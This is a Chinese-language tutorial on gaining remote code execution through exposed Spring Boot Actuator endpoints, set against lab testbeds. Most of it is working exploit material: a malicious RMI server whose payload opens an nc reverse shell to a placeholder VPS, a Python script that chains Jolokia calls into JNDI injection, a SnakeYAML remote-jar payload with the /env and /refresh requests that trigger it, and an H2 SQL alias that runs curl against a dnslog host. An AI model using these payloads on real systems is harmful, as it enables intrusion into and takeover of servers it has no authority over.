Spring boot 识别
1、网页favicon.ico 默认小绿叶图标
2、Spring boot 默认报错特征
3、Spring Boot 1-1.4,无需身份验证即可访问所有端点;Spring Boot >= 1.5 默认只允许访问/health和/info端点;Spring boot 2.x中,端点默认存在于/actuator路径下。
4、实战中端点可能存放在多级目录下,需要自行进行寻找
Actuator是Spring Boot项目中非常强大一个功能,有助于对应用程序进行监视和管理,通过restful api 请求来监管、审计、收集应用的运行情况,其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,版本1和版本2有区别。
Spring Boot Actuator RCE via jolokia
文章中xx.xx.xx.xx均代表vps地址
方法1:Logback
在jolokia/list目录检索存在logback组件,则可以使用jolokia远程包含logback.xml配置文件,直接执行远程引用字节码
环境搭建:
<code>git clone https://github.com/artsploit/actuator-testbed cd actuator-testbed mvn install mvn spring-boot:run/<code>
运行成功可以浏览器访问
漏洞测试:
XXE
Vps:开个web服务,存放两个文件
File1:logback.xml
File2:file.dtd
<code> ">/<code>
POC:
<code>http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/xx.xx.xx.xx!/logback.xml/<code>
RCE:
可以在logback.xml中使用insertFromJNDI标签,这个标签允许从JNDI加载变量,导致了rce漏洞
1、生成RMIServer-0.1.0.jar
进入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目录,src目录里面有恶意rmi代码EvilRMIServer.java,更改对应的ip和端口利用maven将其打包成RMIServer-0.1.0.jar。利用代码添加了第10行指定RMI通信Host为vps外网地址,不然会返回vps内网ip导致反弹shell失败。
<code>import java.rmi.registry.*; import com.sun.jndi.rmi.registry.*; import javax.naming.*; import org.apache.naming.ResourceRef; public class EvilRMIServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1099"); Registry registry = LocateRegistry.createRegistry(1099); System.setProperty("java.rmi.server.hostname","xx.xx.xx.xx"); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xx.xx.xx.xx 8888 >/tmp/f']).start()")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("jndi", referenceWrapper); } }/<code>
进入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目录,利用maven对Java代码打包
<code>mvn clean install/<code>
打包成功后会在target目录下生成RMIServer-0.1.0.jar文件,上传到VPS
2、vps开web服务存放文件file:logback.xml
<code>/<code>
3、将RMIServer-0.1.0.jar上传到vps,执行开启rmi监听,可在上述java源码中指定监听端口
<code>java -jar RMIServer-0.1.0.jar/<code>
这步监听到连接没有响应,不用等,直接看nc
4、vps上nc监听第一步Java代码中写的反弹端口
5、poc
<code>http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/xx.xx.xx.xx!/logback.xml/<code>
方法2:createJNDIRealm
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法,可能存在JNDI注入,导致远程代码执行。
1、直接使用上述生成的RMIServer-0.1.0.jar监听,nc监听
2、执行exp
<code># -*- coding:utf-8 -*- # python2.7 import requests as req import sys from pprint import pprint # usage: python createJNDIRealm-rec.py http://127.0.0.1:8090 url = sys.argv[1] + "/jolokia/" pprint(url) #创建JNDIRealm create_JNDIrealm = { "mbean": "Tomcat:type=MBeanFactory", "type": "EXEC", "operation": "createJNDIRealm", "arguments": ["Tomcat:type=Engine"] } #写入contextFactory set_contextFactory = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "contextFactory", "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" } #写入connectionURL为自己公网RMI service地址 set_connectionURL = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "connectionURL", "value": "rmi://xx.xx.xx.xx:1099/jndi" } #停止Realm stop_JNDIrealm = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "stop", "arguments": [] } #运行Realm,触发JNDI 注入 start = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "start", "arguments": [] } expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start] for i in expoloit: rep = req.post(url, json=i) pprint(rep.json())/<code>
3、收到反弹shell
Spring Boot Actuator RCE via Cloud env
测试环境和上面Spring Boot Actuator RCE via jolokia一致
当上面一种找不到logback配置可以尝试修改env配置文件进行xstream反序列化
Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用Edgware 无法成功
Spring Boot <= 1.4 可利用成功
需要两个包:spring-boot-starter-actuator(/refresh刷新配置需要);spring-cloud-starter-netflix-eureka-client(功能依赖)
poc:yaml-payload (https://github.com/artsploit/yaml-payload)
RCE:
1、编译yaml-payload.jar文件放到可访问的站点,例如VPS
下载上述poc,进入yaml-payload-master\src\artsploit,src目录有利用代码,更改对应的命令执行部分,测试可以写自己dnslog地址
<code>package artsploit; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("dig aaaaa.ijl8d4.ceye.io"); //Runtime.getRuntime().exec("xxxxxx"); } catch (IOException e) { e.printStackTrace(); } } @Override public String getEngineName() { return null; } @Override public String getEngineVersion() { return null; } @Override public List getExtensions() { return null; } @Override public List getMimeTypes() { return null; } @Override public List getNames() { return null; } @Override public String getLanguageName() { return null; } @Override public String getLanguageVersion() { return null; } @Override public Object getParameter(String key) { return null; } @Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; } @Override public String getOutputStatement(String toDisplay) { return null; } @Override public String getProgram(String... statements) { return null; } @Override public ScriptEngine getScriptEngine() { return null; } }/<code>
编译上述Java文件,将生成的jar传到VPS,vps开web服务
<code>javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ ./<code>
2、编写yml文件用于远程加载,放在vps
File:yaml-payload.yml
<code>!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://xx.xx.xx.xx/yaml-payload.jar"] ]] ]/<code>
3、利用 /env 端点修改spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址
<code>curl -XPOST http://127.0.0.1:8090/env -d "spring.cloud.bootstrap.location=http://XX.XX.XX.XX/yaml-payload.yml"/<code>
执行完/env端点能看到设置的值
4、请求 /refresh 端点,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行。
<code>curl -XPOST http://127.0.0.1:8090/refresh/<code>
执行完,即可看到dnslog请求,在第一步Java代码中设置的内容
Spring Boot Actuator RCE via H2
Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE
Spring boot 2.x默认端点在目录/actuator下
环境搭建:
<code>git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git docker build -t spring-boot-rce . docker run -p 8081:8080 -t spring-boot-rce/<code>
docker运行:
漏洞验证:
运行成功后,可以在浏览器访问 http://192.168.28.128:8081/actuator/env
1、通过POST方法利用/env端点进行环境变量的赋值
<code>POST /actuator/env HTTP/1.1 Host: 192.168.28.128:8081 Content-Type: application/json Content-Length: 356 {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl xxx.ijl8d4.ceye.io');"}/<code>
执行完后访问http://192.168.28.128:8081/actuator/env 可以看到写入的命令
2、通过向端点/actuator/restart发送POST请求重启应用发出新的数据库连接
<code>POST /actuator/restart HTTP/1.1 Host: 192.168.28.128:8081 Content-Type: application/json Content-Length: 2 {}/<code>
执行完即可在dnslog中看到请求记录
参考
https://www.secshi.com/21506.html
https://www.anquanke.com/post/id/195929
https://github.com/artsploit/yaml-payload
https://github.com/b1ngz/spring-boot-actuator-cloud-vul
https://www.cnblogs.com/cwkiller/p/12829974.html